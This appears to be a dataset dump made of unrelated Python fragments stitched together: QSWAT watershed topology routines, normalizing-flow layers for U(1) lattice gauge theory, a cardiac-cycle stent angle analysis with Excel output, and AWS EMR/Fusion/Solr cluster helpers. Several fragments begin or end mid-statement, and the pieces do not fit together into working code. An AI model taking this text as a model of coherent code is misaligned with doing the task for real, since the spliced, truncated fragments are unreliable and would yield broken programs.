input
stringlengths
2.65k
237k
output
stringclasses
1 value
of first to be used without reprojection # as row/col coordinates of the second. # # Assumes second raster has sufficient extent. # We could demand this, but in practice often read rasters well within their extents, # because only looking at points within a watershed. # """ # # may work, though may also fail - we are comparing float values # if transform1 == transform2: # return True # # accept the origins as the same if they are within a tenth of the cell size # # otherwise return false # if (abs(transform1[0] - transform2[0]) > transform2[1] * 0.1 or \ # abs(transform1[3] - transform2[3]) > abs(transform2[5]) * 0.1): # return False # # then check if the vertical/horizontal difference in cell size times the number of rows/columns # # in the first is less than half the depth/width of a cell in the second # return abs(transform1[1] - transform2[1]) * band1.XSize < transform2[1] * 0.5 and \ # abs(transform1[5] - transform2[5]) * band1.YSize < abs(transform2[5]) * 0.5 #=========================================================================== @staticmethod def translateCoords(transform1, transform2, numRows1, numCols1): """ Return a pair of functions: row, latitude -> row and column, longitude -> column for transforming positions in raster1 to row and column of raster2. The functions are: identities on the first argument if the rasters have (sufficiently) the same origins and cell sizes; a simple shift on the first argument if the rasters have the same cell sizes but different origins; otherwise a full transformation on the second argument. It is assumed that the first and second arguments are consistent, ie they identify the same cell in raster1. """ # may work, thuough we are comparing real values if transform1 == transform2: return (lambda row, _: row), (lambda col, _: col) xOrigin1, xSize1, _, yOrigin1, _, ySize1 = transform1 xOrigin2, xSize2, _, yOrigin2, _, ySize2 = transform2 # accept the origins as the same if they are within a tenth of the cell size sameXOrigin = abs(xOrigin1 - xOrigin2) < xSize2 * 0.1 sameYOrigin = abs(yOrigin1 - yOrigin2) < abs(ySize2) * 0.1 # accept cell sizes as equivalent if vertical/horizontal difference # in cell size times the number of rows/columns # in the first is less than half the depth/width of a cell in the second sameXSize = abs(xSize1 - xSize2) * numCols1 < xSize2 * 0.5 sameYSize = abs(ySize1 - ySize2) * numRows1 < abs(ySize2) * 0.5 if sameXSize: if sameXOrigin: xFun = (lambda col, _: col) else: # just needs origin shift # note that int truncates, i.e. rounds towards zero if xOrigin1 > xOrigin2: colShift = int((xOrigin1 - xOrigin2) / xSize1 + 0.5) xFun = lambda col, _: col + colShift else: colShift = int((xOrigin2 - xOrigin1) / xSize1 + 0.5) xFun = lambda col, _: col - colShift else: # full transformation xFun = lambda _, x: int((x - xOrigin2) / xSize2) if sameYSize: if sameYOrigin: yFun = (lambda row, _: row) else: # just needs origin shift # note that int truncates, i.e. rounds towards zero, and y size will be negative if yOrigin1 > yOrigin2: rowShift = int((yOrigin2 - yOrigin1) / ySize1 + 0.5) yFun = lambda row, _: row - rowShift else: rowShift = int((yOrigin1 - yOrigin2) / ySize1 + 0.5) yFun = lambda row, _: row + rowShift else: # full transformation yFun = lambda _, y: int((y - yOrigin2) / ySize2) # note row, column order of return (same as order of reading rasters) return yFun, xFun @staticmethod def sameTransform(transform1, transform2, numRows1, numCols1): """Return true if transforms are sufficiently close to be regarded as the same, i.e. row and column numbers for the first can be used without transformation to read the second. Avoids relying on equality between real numbers.""" # may work, thuough we are comparing real values if transform1 == transform2: return True xOrigin1, xSize1, _, yOrigin1, _, ySize1 = transform1 xOrigin2, xSize2, _, yOrigin2, _, ySize2 = transform2 # accept the origins as the same if they are within a tenth of the cell size sameXOrigin = abs(xOrigin1 - xOrigin2) < xSize2 * 0.1 if sameXOrigin: sameYOrigin = abs(yOrigin1 - yOrigin2) < abs(ySize2) * 0.1 if sameYOrigin: # accept cell sizes as equivalent if vertical/horizontal difference # in cell size times the number of rows/columns # in the first is less than half the depth/width of a cell in the second sameXSize = abs(xSize1 - xSize2) * numCols1 < xSize2 * 0.5 if sameXSize: sameYSize = abs(ySize1 - ySize2) * numRows1 < abs(ySize2) * 0.5 return sameYSize return False def splitReachByLake(self, lakeGeom, reachGeom, reachData): """lakeGeom is a polygon representing a lake. reach is known to intersect wil the lake.. Returns a pair of inflowing and outflowing reaches, either or both of which may be None.""" sourcePt = QgsPointXY(reachData.upperX, reachData.upperY) sourceToLake = QSWATTopology.toIntersection(reachGeom, lakeGeom, sourcePt, not self.outletAtStart, self.xThreshold, self.yThreshold) outletPt = QgsPointXY(reachData.lowerX, reachData.lowerY) outletToLake = QSWATTopology.toIntersection(reachGeom, lakeGeom, outletPt, self.outletAtStart, self.xThreshold, self.yThreshold) return sourceToLake, outletToLake @staticmethod def toIntersection(reachGeom, lakeGeom, start, isUp, xThreshold, yThreshold): """Return geometry for sequence of points from start to one before first one that intersects with lakeGeom, or None if this is empty or a singleton, or if start is within the lake. If isUp the search is from index 0 if the of the reach, else it is from the last index.""" if lakeGeom.contains(start): return None if reachGeom.isMultipart(): mpl = reachGeom.asMultiPolyline() else: mpl = [reachGeom.asPolyline()] result = [] done = set() while True: progress = False for i in range(len(mpl)): if i not in done: line = mpl[i] if len(line) <= 1: continue if isUp: if QSWATTopology.coincidentPoints(start, line[0], xThreshold, yThreshold): for pt in line: if lakeGeom.contains(pt): length = len(result) if length < 1: return None elif length == 1: # create zero-length line at result[0] return QgsGeometry.fromPolylineXY([result[0], result[0]]) return QgsGeometry.fromPolylineXY(result) result.append(pt) start = line[-1] done.add(i) progress = True else: if QSWATTopology.coincidentPoints(start, line[-1], xThreshold, yThreshold): for pt in reversed(line): if lakeGeom.contains(pt): length = len(result) if length < 1: return None elif length == 1: # create zero-length line at result[0] return QgsGeometry.fromPolylineXY([result[0], result[0]]) return QgsGeometry.fromPolylineXY(result) result.insert(0, pt) start = line[0] done.add(i) progress = True if not progress: raise Exception('Looping trying to calculate reach') # @staticmethod # def splitReach(resGeom, reachGeom, source, outlet, outletAtStart, xThreshold, yThreshold): # """Split reachGeom into two parts, one from source to reservoir and one from reservoir to outlet. # # Assumes the reach has been split into at least two disjoint parts, one flowing from source, the other flowing to outlet. # Algorithm checks each line in reach geometry, moving up from source or down from outlet until reservoir is reached # in both cases.""" # sourcePart = [] # outletPart = [] # mpl = reachGeom.asMultiPolyline() # done = set() # outletToLakeDone = False # sourceToLakeDone = False # while True: # reduced = False # for i in xrange(len(mpl)): # if i not in done: # line = mpl[i] # start = line[0] # finish = line[-1] # if outletAtStart: # if not outletToLakeDone and QSWATTopology.coincidentPoints(outlet, start, xThreshold, yThreshold): # newLine = [] # for pt in line: # newLine.append(pt) # if resGeom.intersects(QgsGeometry.fromPointXY(pt)): # outletToLakeDone = True # break # outletPart.append(newLine) # outlet = finish # reduced = True # done.add(i) # elif not sourceToLakeDone and QSWATTopology.coincidentPoints(source, finish, xThreshold, yThreshold): # newLine = [] # for pt in reversed(line): # newLine.insert(0, pt) # if resGeom.intersects(QgsGeometry.fromPointXY(pt)): # sourceToLakeDone = True # break # sourcePart.append(newLine) # source = start # done.add(i) # reduced = True # else: # if not outletToLakeDone and QSWATTopology.coincidentPoints(outlet, finish, xThreshold, yThreshold): # newLine = [] # for pt in reversed(line): # newLine.insert(0, pt) # if resGeom.intersects(QgsGeometry.fromPointXY(pt)): # outletToLakeDone = True # break # outletPart.append(line) # outlet = start # done.add(i) # reduced = True # elif QSWATTopology.coincidentPoints(source, start, xThreshold, yThreshold): # newLine = [] # for pt in line: # newLine.append(pt) # if resGeom.intersects(QgsGeometry.fromPointXY(pt)): # sourceToLakeDone = True # break # sourcePart.append(line) # source = finish # done.add(i) # reduced = True # if outletToLakeDone and sourceToLakeDone: # break # if not reduced: # raise Exception('Looping trying to split
""" layers.py ------ BEGIN CODE FROM https://arxiv.org/abs/2101.08176 Introduction to Normalizing Flows for Lattice Field Theory <NAME>, <NAME>, <NAME>, <NAME>, <NAME>, <NAME>, <NAME>, <NAME> License: CC BY 4.0 With slight modifications by Xiao-Yong Jin to reduce global variables """ from __future__ import absolute_import, annotations, division, print_function from math import pi as PI import numpy as np import packaging.version import torch from torch import nn as nn from fthmc.config import DEVICE, npDTYPE from fthmc.utils.logger import Logger from fthmc.utils.qed_helpers import compute_u1_plaq # from torch import nn TWO_PI = 2 * PI logger = Logger() TOL = 1e-6 WITH_CUDA = False if torch.cuda.is_available(): WITH_CUDA = True TOL = 1e-6 # pylint:disable=missing-function-docstring def torch_mod(x: torch.Tensor): # return torch.remainder(x, TWO_PI) return torch.remainder(x + PI, 2 * PI) - PI def torch_wrap(x: torch.Tensor): return torch_mod(x + PI) - PI def grab(var: torch.Tensor): return var.detach().cpu().numpy() def get_nets(layers: nn.ModuleList) -> list[nn.Module]: return [layer.plaq_coupling.net for layer in layers] def stack_cos_sin(x: torch.Tensor): return torch.stack((torch.cos(x), torch.sin(x)), dim=1) def tan_transform_symmetric(x: torch.Tensor, s: torch.Tensor): return torch_mod(2 * torch.atan(torch.exp(s) * torch.tan(x / 2))) def tan_transform(x: torch.Tensor, s: torch.Tensor): return torch_mod( 2 * torch.atan(torch.exp(s) * torch.tan(x / 2.)) ) def tan_transform_logJ(x: torch.Tensor, s: torch.Tensor): return -torch.log( torch.exp(-s) * torch.cos(x / 2) ** 2 + torch.exp(s) * torch.sin(x / 2) ** 2 ) def mixture_tan_transform(x: torch.Tensor, s: torch.Tensor): cond = (len(x.shape) == len(s.shape)) assert cond, f'Dimension mismatch between x and s: {x.shape}, vs {s.shape}' return torch.mean(tan_transform(x, s), dim=1, keepdim=True) def mixture_tan_transform_logJ(x: torch.Tensor, s: torch.Tensor): cond = (len(x.shape) == len(s.shape)) assert cond, f'Dimension mismatch between x and s: {x.shape}, vs {s.shape}' return ( torch.logsumexp(tan_transform_logJ(x, s), dim=1) - np.log(s.shape[1]) ) def make_net_from_layers( *, lattice_shape: tuple, nets: list[nn.Module] ): n_layers = len(nets) layers = [] for i in range(n_layers): # periodically loop through all arrangements of maskings mu = i % 2 off = (i // 2) % 4 net = nets[i] plaq_coupling = NCPPlaqCouplingLayer( net, mask_shape=lattice_shape, mask_mu=mu, mask_off=off ) link_coupling = GaugeEquivCouplingLayer( lattice_shape=lattice_shape, mask_mu=mu, mask_off=off, plaq_coupling=plaq_coupling ) layers.append(link_coupling) return nn.ModuleList(layers) ACTIVATION_FNS = { 'relu': nn.ReLU(), 'silu': nn.SiLU(), 'swish': nn.SiLU(), 'leaky_relu': nn.LeakyReLU(), } def get_activation_fn(actfn: str = None): if actfn is None: return nn.SiLU() actfn = ACTIVATION_FNS.get(str(actfn).lower(), None) if actfn is None: logger.log(f'Activation fn: {actfn} not found. ' f'Must be one of ["relu", "silu", "leaky_relu"]') logger.log(f'Falling back to: nn.SiLU()') return nn.SiLU() return actfn def make_conv_net( *, hidden_sizes: list[int], kernel_size: int, in_channels: int, out_channels: int, use_final_tanh: bool = False, activation_fn: str = None, ): assert kernel_size % 2 == 1, 'kernel size must be odd for PyTorch>=1.5.0' assert (packaging.version.parse(torch.__version__) >= packaging.version.parse('1.5.0')) net = [] padding_size = (kernel_size // 2) act_fn = get_activation_fn(actfn=activation_fn) # hidden_sizes = [8, 8] sizes = [in_channels] + hidden_sizes + [out_channels] for i in range(len(sizes) - 1): net.append(nn.Conv2d(sizes[i], sizes[i+1], kernel_size, stride=1, padding=padding_size, padding_mode='circular')) if i != len(sizes) - 2: net.append(act_fn) else: if use_final_tanh: net.append(nn.Tanh()) return nn.Sequential(*net) def set_weights(m): if hasattr(m, 'weight') and m.weight is not None: nn.init.normal_(m.weight, mean=1, std=2) if hasattr(m, 'bias') and m.bias is not None: m.bias.data.fill_(-1) def gauge_transform(links, alpha): for mu in range(len(links.shape[2:])): links[:,mu] = alpha + links[:,mu] - torch.roll(alpha, -1, mu+1) return links def random_gauge_transform(x): Nconf, VolShape = x.shape[0], x.shape[2:] return gauge_transform(x, TWO_PI * torch.rand((Nconf,) + VolShape)) class GaugeEquivCouplingLayer(nn.Module): """U(1) gauge equiv coupling layer defined by `plaq_coupling` acting on plaquettes.""" def __init__(self, *, lattice_shape, mask_mu, mask_off, plaq_coupling): super().__init__() link_mask_shape = (len(lattice_shape),) + lattice_shape self.active_mask = make_2d_link_active_stripes(link_mask_shape, mask_mu, mask_off) self.plaq_coupling = plaq_coupling def forward(self, x): plaq = compute_u1_plaq(x, mu=0, nu=1) new_plaq, logJ = self.plaq_coupling(plaq) delta_plaq = new_plaq - plaq delta_links = torch.stack((delta_plaq, -delta_plaq), dim=1) # signs for U vs Udagger fx = self.active_mask * torch_mod(delta_links + x) + (1-self.active_mask) * x return fx, logJ def reverse(self, fx): new_plaq = compute_u1_plaq(fx, mu=0, nu=1) plaq, logJ = self.plaq_coupling.reverse(new_plaq) delta_plaq = plaq - new_plaq delta_links = torch.stack((delta_plaq, -delta_plaq), dim=1) # signs for U vs Udagger x = self.active_mask * torch_mod(delta_links + fx) + (1-self.active_mask) * fx return x, logJ def make_2d_link_active_stripes(shape, mu, off): """ Stripes mask looks like in the `mu` channel (mu-oriented links):: 1 0 0 0 1 0 0 0 1 0 0 1 0 0 0 1 0 0 0 1 0 0 1 0 0 0 1 0 0 0 1 0 0 1 0 0 0 1 0 0 0 1 0 0 where vertical is the `mu` direction, and the pattern is offset in the nu direction by `off` (mod 4). The other channel is identically 0. """ assert len(shape) == 2+1, 'need to pass shape suitable for 2D gauge theory' assert shape[0] == len(shape[1:]), 'first dim of shape must be Nd' assert mu in (0,1), 'mu must be 0 or 1' mask = np.zeros(shape).astype(np.uint8) if mu == 0: mask[mu, :, 0::4] = 1 elif mu == 1: mask[mu, 0::4] = 1 nu = 1 - mu mask = np.roll(mask, off, axis=nu+1) return torch.from_numpy(mask.astype(npDTYPE)).to(DEVICE) def make_single_stripes(shape, mu, off): """ 1 0 0 0 1 0 0 0 1 0 0 1 0 0 0 1 0 0 0 1 0 0 1 0 0 0 1 0 0 0 1 0 0 1 0 0 0 1 0 0 0 1 0 0 where vertical is the `mu` direction. Vector of 1 is repeated every 4. The pattern is offset in perpendicular to the mu direction by `off` (mod 4). """ assert len(shape) == 2, 'need to pass 2D shape' assert mu in (0,1), 'mu must be 0 or 1' mask = np.zeros(shape).astype(np.uint8) if mu == 0: mask[:,0::4] = 1 elif mu == 1: mask[0::4] = 1 mask = np.roll(mask, off, axis=1-mu) return torch.from_numpy(mask).to(DEVICE) def make_double_stripes(shape, mu, off): """ Double stripes mask looks like:: 1 1 0 0 1 1 0 0 1 1 0 0 1 1 0 0 1 1 0 0 1 1 0 0 1 1 0 0 1 1 0 0 where vertical is the `mu` direction. The pattern is offset in perpendicular to the mu direction by `off` (mod 4). """ assert len(shape) == 2, 'need to pass 2D shape' assert mu in (0,1), 'mu must be 0 or 1' mask = np.zeros(shape).astype(np.uint8) if mu == 0: mask[:,0::4] = 1 mask[:,1::4] = 1 elif mu == 1: mask[0::4] = 1 mask[1::4] = 1 mask = np.roll(mask, off, axis=1-mu) return torch.from_numpy(mask).to(DEVICE) def make_plaq_masks(mask_shape, mask_mu, mask_off): mask = {} mask['frozen'] = make_double_stripes(mask_shape, mask_mu, mask_off+1) mask['active'] = make_single_stripes(mask_shape, mask_mu, mask_off) mask['passive'] = 1 - mask['frozen'] - mask['active'] return mask def invert_transform_bisect(y, *, f, tol, max_iter, a=-PI, b=PI): min_x = a*torch.ones_like(y) max_x = b*torch.ones_like(y) min_val = f(min_x) max_val = f(max_x) with torch.no_grad(): for i in range(max_iter): mid_x = (min_x + max_x) / 2 mid_val = f(mid_x) greater_mask = (y > mid_val).int() greater_mask = greater_mask.float() err = torch.max(torch.abs(y - mid_val)) if err < tol: return mid_x # if err < TOL: return mid_x if torch.all((mid_x == min_x) + (mid_x == max_x)): print('WARNING: Reached floating point ' f'precision before tolerance (iter {i}, err {err})') return mid_x min_x = greater_mask*mid_x + (1-greater_mask)*min_x min_val = greater_mask*mid_val + (1-greater_mask)*min_val max_x = (1-greater_mask)*mid_x + greater_mask*max_x max_val = (1-greater_mask)*mid_val + greater_mask*max_val print( f'WARNING: Did not converge to tol {TOL} in {max_iter} iters! ' f'Error was {err}' ) return mid_x # pylint:disable=invalid-name class NCPPlaqCouplingLayer(nn.Module): def __init__( self, net: nn.Module, *, mask_shape: tuple[int], mask_mu: int, mask_off: int, inv_prec: float = TOL, inv_max_iter: int = 1000 ): super().__init__() assert len(mask_shape) == 2, ( f'NCPPlaqCouplingLayer is implemented only in 2D, ' f'mask shape {mask_shape} is invalid') self.mask = make_plaq_masks(mask_shape, mask_mu, mask_off) self.net = net self.inv_prec = inv_prec self.inv_max_iter = inv_max_iter if WITH_CUDA: self.net = self.net.cuda() for _, val in self.mask.items(): val = val.cuda() def forward(self, x: torch.Tensor): if WITH_CUDA: x = x.cuda() x2 = self.mask['frozen'] * x net_out = self.net(stack_cos_sin(x2)) cond = net_out.shape[1] >= 2 assert cond, 'CNN must output n_mix (s_i) + 1 (t) channels' s, t = net_out[:,:-1], net_out[:,-1] x1 = self.mask['active'] * x x1 = x1.unsqueeze(1) local_logJ = self.mask['active'] * mixture_tan_transform_logJ(x1, s) axes = tuple(range(1, len(local_logJ.shape))) logJ = torch.sum(local_logJ, dim=axes) fx1 = self.mask['active'] * mixture_tan_transform(x1, s).squeeze(1) fx = ( self.mask['active'] * torch_mod(fx1 + t) + self.mask['passive'] * x + self.mask['frozen'] * x ) return fx, logJ def reverse(self, fx: torch.Tensor): fx2 = self.mask['frozen'] * fx net_out = self.net(stack_cos_sin(fx2)) assert net_out.shape[1]
= cllAngles_n[peakAngle_index] peakAngle_index_cll = cllAngles_i[peakAngle_index] peakAngle_location = dist_over_centerline(ppCh_phase,cl_point1=proxendcll, cl_point2=n,type='euclidian') # distance from proximal end centerline peakAngle_phases.append(peakAngle) peakAngle_phases_location.append([peakAngle_index_cll, peakAngle_location]) # get peakAngle at mid cycle cllAngles = [] cllAngles_n = [] cllAngles_i = [] cllAngles_n1 = [] cllAngles_n3 = [] for i, n in enumerate(ppCh): n1, n3, anglenew = get_angle_at_fixed_arms(ppCh, n, armlength=armlength) if anglenew is None: continue # next point; cll point not far enough from cll ends to calculate angle cllAngles.append(anglenew) # for each point on cll an angle cllAngles_n.append(n) cllAngles_i.append(i) cllAngles_n1.append(n1) cllAngles_n3.append(n3) # get greatest of cll angles but 180 degrees is straigth so min peakAngle_midcycle = min(cllAngles) peakAngle_index = cllAngles.index(peakAngle_midcycle) # index in list of obtained angles proxendcll, distendcll = get_prox_dist_points_cll(ppCh) n = cllAngles_n[peakAngle_index] peakAngle_index_cll_midcycle = cllAngles_i[peakAngle_index] peakAngle_location_midcycle = dist_over_centerline(ppCh,cl_point1=proxendcll, cl_point2=n,type='euclidian') # distance from proximal end centerline peakAngle_midcycle_location = [peakAngle_index_cll_midcycle, peakAngle_location_midcycle] # visualize if True: # False=do not show arm points n1 = cllAngles_n1[peakAngle_index] n3 = cllAngles_n3[peakAngle_index] armpoints = np.asarray([n1, n, n3]) plotted_points = plot_points(armpoints,mc='r',mw=mw,ls='-',lw=12,lc='r',alpha=0.7,ax=a1) self.points_plotted.append(plotted_points) # stats phases peakAngle_phase_max = max(peakAngle_phases) peakAngle_phase_min = min(peakAngle_phases) peakAngle_phase_max_phase = peakAngle_phases.index(peakAngle_phase_max) # which phase was max? peakAngle_phase_min_phase = peakAngle_phases.index(peakAngle_phase_min) # which phase was min? peakAngle_phases_diff = peakAngle_phase_max - peakAngle_phase_min peakAngle_phases_meanstd = [np.mean(peakAngle_phases), np.std(peakAngle_phases)] print('PeakAngle during cycle= {}'.format(peakAngle_phases)) print('') #add to output dict output['peakAngle_per_phase'] = peakAngle_phases output['peakAngle_min_and_max'] = [peakAngle_phase_min, peakAngle_phase_max] # where min is greatest angle output['peakAngle_phases_diff'] = peakAngle_phases_diff output['peakAngle_phases_meanstd'] = peakAngle_phases_meanstd output['peakAngle_phases_location'] = peakAngle_phases_location # for each phase location of peakAngle output['peakAngle_midcycle'] = peakAngle_midcycle output['peakAngle_midcycle_location'] = peakAngle_midcycle_location # ============ # Store output with name output['Name'] = name_output output['Type'] = 'chimney_angle_change' self.angleChange_output = output self.storeOutput.append(output) # # Calculate greatest angle along cll with fixed arms # angle = 180 # straigth # for i, n2 in enumerate(ppCh): # n1, n3, anglenew = get_angle_at_fixed_arms(ppCh, n2, armlength=15) # if anglenew is None: # continue # print('Angle for points along cll= {}'.format(anglenew) ) # if anglenew < angle: # midnode = [copy.copy(n2), copy.copy(i)] # point1 = copy.copy(n1) # point3 = copy.copy(n3) # angle = min(angle, anglenew) # # # show points at which angle was calculated # a1 = self.a # mw =18 # if False: # False=do not show arm points # plot_point1 = plot_points(point1, mc='b', mw=mw, ax=a1) # self.points_plotted.append(plot_point1) # plot_point3 = plot_points(point3, mc='g', mw=mw, ax=a1) # self.points_plotted.append(plot_point3) # # self.createNodePoint(tuple(point1), color='b') # # self.createNodePoint(tuple(point3)) # # # show midnode # print('Detected midnode: location {} and angle {}'.format(midnode, angle)) # n2 = midnode[0] # plot_point2 = plot_points(n2, mc='m', mw=mw, ax=a1) # self.points_plotted.append(plot_point2) # # self.createNodePoint(tuple(n2), color='m') # # # Calc angle change cycle # # use the endpoints: get prox and dist point for ppCh # point1, point3 = get_prox_dist_points_cll(ppCh) # # get deforms of nodes during cardiac cycle # model = self.s['model'+key] # skip 'ppCenterline' in key # n1Deforms = model.node[tuple(point1)]['deforms'] # n2Deforms = model.node[tuple(n2)]['deforms'] # n3Deforms = model.node[tuple(point3)]['deforms'] # # get angulation # output = line_line_angulation(point1, # n1Deforms, n2, n2Deforms, point3, n3Deforms) # # # add chimney angle mid cardiac cycle # output['angleMidCycle'] = output['angles_meanstd'][0] # # # Store output with name # output['Name'] = name_output # output['Type'] = 'chimney_angle_change' # self.storeOutput.append(output) def storeOutputToExcel(self): """Create file and add a worksheet or overwrite existing Output of x,y,z positions in one cell can be handled in python with np.asrray(a), where a is the cell read from excel with tuple x,y,z """ exceldir = self.exceldirOutput # https://pypi.python.org/pypi/XlsxWriter workbook = xlsxwriter.Workbook(os.path.join(exceldir,'ChevasStoreOutput{}.xlsx'.format(self.ptcode[7:]))) worksheet = workbook.add_worksheet('General') # set column width worksheet.set_column('A:A', 35) worksheet.set_column('B:B', 30) # add a bold format to highlight cells bold = workbook.add_format({'bold': True}) # write title and general tab worksheet.write('A1', 'Output ChEVAS dynamic CT post-op', bold) analysisID = '%s_%s_%s' % (self.ptcode, self.ctcode, self.cropname) worksheet.write('A2', 'Filename:', bold) worksheet.write('B2', analysisID) worksheet.write('A3', 'Date and Time:', bold) date_time = datetime.now() #strftime("%d-%m-%Y %H:%M") date_format_str = 'dd-mm-yyyy hh:mm' date_format = workbook.add_format({'num_format': date_format_str, 'align': 'left'}) worksheet.write_datetime('B3', date_time, date_format) # write 'storeOutput' storeOutput = self.storeOutput for out in storeOutput: # each analysis that was appended to storeOutput worksheet = workbook.add_worksheet(out['Name']) worksheet.set_column('A:A', 82) worksheet.set_column('B:C', 24) worksheet.write('A1', 'Name:', bold) worksheet.write('B1', out['Name'], bold) if out['Type'] == 'motion_centerlines_segments': worksheet.write('A2', 'Type:', bold) worksheet.write('B2', 'Motion of segment of nodes on 1 centerline',bold) worksheet.write('A3', 'Length of centerline segment (#nodes)',bold) worksheet.write('B3', out['lengthSegment']) worksheet.write('A4', 'XYZ: segment mean displacement amplitude (vector magnitude) (mean_std_min_max)',bold) worksheet.write_row('B4', out['mean_segment_amplitudexyz_mean_std_min_max']) # tuple 4 el worksheet.write('A5', 'X: segment mean displacement amplitude (vector magnitude) (mean_std_min_max)',bold) worksheet.write_row('B5', out['mean_segment_amplitudex_mean_std_min_max']) # tuple 4 el worksheet.write('A6', 'Y: segment mean displacement amplitude (vector magnitude) (mean_std_min_max)',bold) worksheet.write_row('B6', out['mean_segment_amplitudey_mean_std_min_max']) # tuple 4 el worksheet.write('A7', 'Z: segment mean displacement amplitude (vector magnitude) (mean_std_min_max)',bold) worksheet.write_row('B7', out['mean_segment_amplitudez_mean_std_min_max']) # tuple 4 el worksheet.write('A8', 'Segment mean position (CoM) at each phase in cardiac cycle (x,y,z per phase)',bold) worksheet.write_row('B8', [str(tuple(x)) for x in out['meanSegmentPosCycle']] ) # nphases x 3 worksheet.write('A9', 'Segment mean position (CoM) at mid cardiac cycle (x,y,z) [avgreg]',bold) worksheet.write('B9', str(tuple(out['meanPosAvgSegment'])) ) # 1 x 3 worksheet.write('A11', 'Positions of points in segment at mid cardiac cycle (x,y,z per point) [avgreg]',bold) worksheet.write_row('B11', [str(tuple(x)) for x in out['ppSegment']] ) # npoints x 3 worksheet.write('A12', 'Relative displacement of points in segment at each phase in cardiac cycle [rows=phases; columns=points; x,y,z]',bold) row = 11 # 11 = row 12 in excel col = 1 for pDeforms in out['ppDeformsSegment']: # npoints x phases x 3 worksheet.write_column(row, col, [str(tuple(x)) for x in pDeforms] ) #row += 1 col += 1 elif out['Type'] == 'centerlines_prox_distance_change': worksheet.write('A2', 'Type:', bold) worksheet.write('B2', 'Distance change between the two most proximal points of two centerlines',bold) worksheet.write('A3', 'Position [avgreg] and deforms of node 1 (x,y,z)',bold) worksheet.write('B3', str(tuple(out['Node1'][0])) ) worksheet.write_row('C3', [str(tuple(x)) for x in out['Node1'][1]] ) # nphases x 3 worksheet.write('A4', 'Position [avgreg] and deforms of node 2 (x,y,z)',bold) worksheet.write('B4', str(tuple(out['Node2'][0])) ) worksheet.write_row('C4', [str(tuple(x)) for x in out['Node2'][1]] ) # nphases x 3 worksheet.write('A5', 'Distance between points at mid cardiac cycle [avgreg]',bold) worksheet.write('B5', out['distMidCycle']) worksheet.write('A6', 'Maximum distance change between points during cardiac cycle',bold) worksheet.write('B6', out['distances_diffMax'][0]) worksheet.write_row('C6', out['distances_diffMax'][1]) # phase min dist, phase max dist worksheet.write('A7', 'Minimum and maximum distance between points during cardiac cycle',bold) worksheet.write_row('B7', out['distances_minmax']) worksheet.write('A8', 'Mean and std of distances between points during cardiac cycle',bold) worksheet.write_row('B8', out['distances_meanstd']) worksheet.write('A9', 'Distance between points at each phase in cardiac cycle',bold) worksheet.write_row('B9', list(out['distances_phases']) ) elif out['Type'] == 'chimney_angle_change': worksheet.write('A2', 'Type:', bold) worksheet.write('B2', 'Angle change of chimney centerline: max change for a point and peak angles of chimney',bold) worksheet.write('A3', 'Max angle change for a point on chimney',bold) worksheet.write('B3', out['point_angle_diff_max'] ) worksheet.write('A4', 'Min and max angle of this point',bold) worksheet.write_row('B4', out['angles_minmax'] ) worksheet.write('A5', 'Index of this point on cll (from prox or dist end)',bold) worksheet.write_row('B5', [phase[0] for phase in out['anglenodes_positions_cycle']] ) # index i of midnode n in phases worksheet.write('A6', 'Position of arm node n2 during cycle (x,y,z)',bold) worksheet.write_row('B6', [str(tuple(x[2])) for x in out['anglenodes_positions_cycle']] ) # nphases x 3 (xyz position) worksheet.write('A7', 'Position of arm node n1 during cycle (x,y,z)',bold) worksheet.write_row('B7', [str(tuple(x[3])) for x in out['anglenodes_positions_cycle']] ) # nphases x 3 worksheet.write('A8', 'Position of arm node n3 during cycle (x,y,z)',bold) worksheet.write_row('B8', [str(tuple(x[4])) for x in out['anglenodes_positions_cycle']] ) # nphases x 3 worksheet.write('A9', 'Location of this point from prox end of chimney, mm',bold) worksheet.write('B9', out['location_point_max_angle_change'] ) worksheet.write('A10', 'Length of chimney at mid cardiac cycle, mm',bold) worksheet.write('B10', out['total_length_chimney_midCycle'] ) worksheet.write('A11', 'Angle for this point at mid cardiac cycle [avgreg]',bold) worksheet.write('B11', out['angleMidCycle']) worksheet.write('A12', 'Angle for this point at each phase in cardiac cycle',bold) worksheet.write_row('B12', list(out['angles_phases']) ) worksheet.write('A13', 'Mean and std of angles of this point during cardiac cycle',bold) worksheet.write_row('B13', out['angles_meanstd']) # now write peakAngle output worksheet.write('A15', 'Peak angle of chimney during cycle (peakAngle output):') worksheet.write('A16', 'Max angle diff between peak angle min and max',bold) worksheet.write('B16', out['peakAngle_phases_diff'] ) worksheet.write('A17', 'Min and max peakAngle',bold) worksheet.write_row('B17', out['peakAngle_min_and_max'] ) worksheet.write('A18', 'Index of peakAngle on cll during cardiac cycle
thruProxy='False') if _check_step_status(emr, job_flow_id, stepName, maxWaitSecs, cluster ) == 'COMPLETED': # job completed ... _print_step_metrics(cluster, 'perf_tp', usePipeline=True) # GC log analysis for fusion api service _info("Starting gc log analysis") gc_log_analysis_api(cluster) def terminate_jobflow(emrCluster, region='us-west-2'): """ Terminates the specified Elastic MapReduce cluster and removes it from your local ~/.sstk config file emrCluster: Name of the cluster to terminate region: The region where the cluster is running, defaults to us-west-2 """ emr = boto.emr.connect_to_region(region) job_flow_id = _lookup_emr_job_flow_id(emr, emrCluster) emr.set_termination_protection(job_flow_id, False) emr.terminate_jobflow(job_flow_id) sstk_cfg = _get_config() if sstk_cfg.has_key('emr'): emr = sstk_cfg['emr'] emr.pop(emrCluster, None) _save_config() def fusion_api_up(cluster): """ Test to see if the Fusion API service is running on each host in the cluster. """ hosts = _lookup_hosts(cluster) for h in hosts: isRunning = _wait_to_see_fusion_api_up(cluster, h, 1) if isRunning: _info('Fusion API service is running on '+h) else: _info('Fusion API service is NOT responding on '+h) def fusion_proxy_up(cluster): """ Test to see if the Fusion proxy service is running on each host in the cluster. """ hosts = _lookup_hosts(cluster) for h in hosts: isRunning = _wait_to_see_fusion_proxy_up(cluster, h, 1) if isRunning is False: _info('Fusion Proxy/UI service is NOT responding on '+h) def estimate_indexing_throughput(cluster, collection, usePipeline=False): """ Estimates the indexing throughput (number of docs per second) after running an indexing job. """ tp = _estimate_indexing_throughput(cluster, collection, usePipeline) print('throughput: '+str(tp)) def clear_collection(cluster,collection,deleteByQuery='*:*'): hosts = _lookup_hosts(cluster) clearUrl = ("http://%s:8984/solr/%s/update?commit=true" % (hosts[0], collection)) req = urllib2.Request(clearUrl) req.add_header('Content-Type', 'application/xml') try: urllib2.urlopen(req, '<delete><query>'+deleteByQuery+'</query></delete>') except urllib2.HTTPError as e: _error('POST to '+clearUrl+' failed due to: '+str(e)+'\n'+e.read()) def solr_indexing_throughput(url): timestampField = 